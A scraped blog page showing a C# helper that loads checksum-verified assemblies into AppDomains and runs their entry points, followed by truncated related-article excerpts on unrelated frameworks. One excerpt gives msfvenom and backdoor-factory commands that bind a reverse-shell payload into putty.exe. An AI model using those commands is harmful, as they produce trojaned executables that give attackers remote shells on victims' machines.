C# Inject


using System;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Diagnostics.Contracts;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

namespace System
{
partial class App
{
private class InjectItem
{
private ConcurrentDictionary<Guid, Assembly> _mapper;

public AppDomain Domain { get; private set; }
public ConcurrentDictionary<Guid, Assembly> Mapper
{
get { return _mapper; }
}

public InjectItem(AppDomain domain)
{
this.Domain = domain;
_mapper = new ConcurrentDictionary<Guid, Assembly>();
}
}

private static SynchronizedCollection<InjectItem> _injectSet = new SynchronizedCollection<InjectItem>();

private static InjectItem CallInject(string domainName)
{
if (_injectSet == null)
{
var set = new SynchronizedCollection<InjectItem>();
set.Add(new InjectItem(AppDomain.CurrentDomain));
Interlocked.CompareExchange(ref _injectSet, set, null);
}
if (string.IsNullOrEmpty(domainName))
{
return _injectSet.First();
}

domainName = string.Format("_{0}", domainName);
var q = from t in _injectSet
where t.Domain.FriendlyName == domainName
select t;
var item = q.SingleOrDefault();
if (item == null)
{
_injectSet.Add(item = new InjectItem(AppDomain.CreateDomain(domainName)));
}
return item;
}

public static Assembly Inject(Guid checksum, object arg, Stream rawStream = null, string domainName = null)
{
Contract.Requires(checksum != Guid.Empty);

var item = CallInject(domainName);
if (rawStream != null)
{
var raw = new MemoryStream();
rawStream.FixedCopyTo(raw);
raw.Position = 0L;
Guid checksumNew = CryptoManaged.MD5Hash(raw);
if (checksum != checksumNew)
{
throw new InvalidOperationException("checksum");
}
return item.Mapper.GetOrAdd(checksum, k => item.Domain.Load(raw.ToArray()));
}
Assembly ass;
if (!item.Mapper.TryGetValue(checksum, out ass))
{
throw new InvalidOperationException("checksum");
}
Type entryType = ass.GetType(string.Format("{0}.Program", ass.FullName), false);
if (entryType == null)
{
var eType = typeof(IAppEntry);
var q = from t in ass.GetTypes()
where t.IsSubclassOf(eType)
select t;
entryType = q.FirstOrDefault();
}
if (entryType != null)
{
var creator = entryType.GetConstructor(Type.EmptyTypes);
if (creator != null)
{
var entry = (IAppEntry)creator.Invoke(null);
try
{
entry.Main(arg);
}
catch (Exception ex)
{
LogError(ex, "Inject");
#if DEBUG
throw;
#endif
}
}
}
return ass;
}

public static void Uninject(string domainName)
{
Contract.Requires(!string.IsNullOrEmpty(domainName));

var item = CallInject(domainName);
_injectSet.Remove(item);
try
{
AppDomain.Unload(item.Domain);
}
catch (Exception ex)
{
LogError(ex, "Uninject");
#if DEBUG
throw;
#endif
}
}
}
}

C# Inject

时间: 2024-10-12 22:29:30

C# Inject的相关文章

Spring XML配置--使用注解装配(@Atutowired、@Inject、@Resource)

陈科肇--http://blog.csdn.net/u013474104/article/details/44352765 ======= 1.装配术语 创建应用对象之间协作关系的行为通常被称为装配 2.使用注解装配 Spring是从Spring2.5开始引入使用注解自动装配的. Spring容器是默认禁用注解装配的,因此如果要使用Spring的注解装配,你必须启用它.启用方式:使用Spring的context命名空间配置中的<context:annotation-config>元素,配置启用

Inject Payload Into Normal Files

Payload捆绑注入 msfvenom -a x86 --platform windows -x putty.exe -k -p windows/shell/reverse_tcp LHOST=x.x.x.x LPORT=xxx -e ... -f exe > testtmp.exe backdoor-factory 在指定程序中注入payload backdoor-factory -f Test.exe -S #检测是否支持注入 backdoor-factory -f Test.exe -s

Spring @Resource, @Autowired and @Inject 注入

Overview I’ve been asked several times to explain the difference between injecting Spring beans with ‘@Resource’, ‘@Autowired’, and ‘@Inject’. While I received a few opinions from colleagues and read a couple of posts on this topic I didn’t feel like

[Angular 2] 9. Value Providers &amp; @Inject

Dependecies aren’t always objects created by classes or factory functions. Sometimes, all we really want is inject a simple value, which can be a primitive, or maybe just a configuration object. For these cases, we can use value providers and in this

[Vue + TS] Use Dependency Injection in Vue Using @Inject and @Provide Decorators with TypeScript

Vue 2.2 introduced a simple dependency injection system, allowing you to use provide and inject in your component options. This lesson shows you how to use them using the @Inject and @Provide decorators in tandem! When you want to provide some servic

[Angular 2] 5. Inject Service with &quot;Providers&quot;

In this lesson, we’re going to take a look at how add a class to the providers property of a component creates an actual providers. We’ll learn what a provider specifically does and how we can provide different dependencies with the same token. impor

从头认识Spring-2.5 @Autowire @Inject @Qualifier @Named的相同与不同

@Autowire @Inject 相同点: 同样可以注入对象,在属性域上面注入.在set方法或者其他需要注入的方法上面注入.在构造器上面注入 不同点: @Autowire 有@required标签,允许对象为空 @Inject没有@required标签,强制要求对象不能为空 @Qualifier @Named 相同点: 都是作为限定器来使用,都可以使用标签或者bean的id来限定 总结:这一章节主要介绍了@Autowire @Inject @Qualifier @Named的相同与不同. 目录

google guice @inject comments

refer this document: http://blog.chinaunix.net/uid-20749563-id-718418.html @Inject注入方式,用@Inject来标识那个方法被注入 @ImplementedBy(Class)的注释方式.可以直接从你的接口指向一个缺省的实现,而省略掉对com.google.inject.Module的实现.其实这样就违背了多态的原则,一般使用较少,最后还是把控制权交给Module来处理. 当 Guice 找到注释时,它会挑选构造函数参

golang martini 源码阅读笔记之inject

martini是go语言写的一个超级轻量的web开源框架,具体源码可在github搜索找到.13年那会开始接触go语言时有稍微看过这个框架,由于之后没有继续使用go就慢慢忽略了,最近由于手头项目可能会用到,因此又想起这个框架. github上显示该项目更新不断,说明真是个好框架,简洁高效的东西从来都不缺少拥护者.周末阅读martini源码时做了注释写下一些理解,主要是inject.go以及martini.go两个文件,后续估计还会再阅读路由功能的主要文件. 注:以下的'泛型'均表示interfa

[Redux] Using withRouter() to Inject the Params into Connected Components

We will learn how to use withRouter() to inject params provided by React Router into connected components deep in the tree without passing them down all the way down as props. The app component itself does not really use filter. It just passes the fi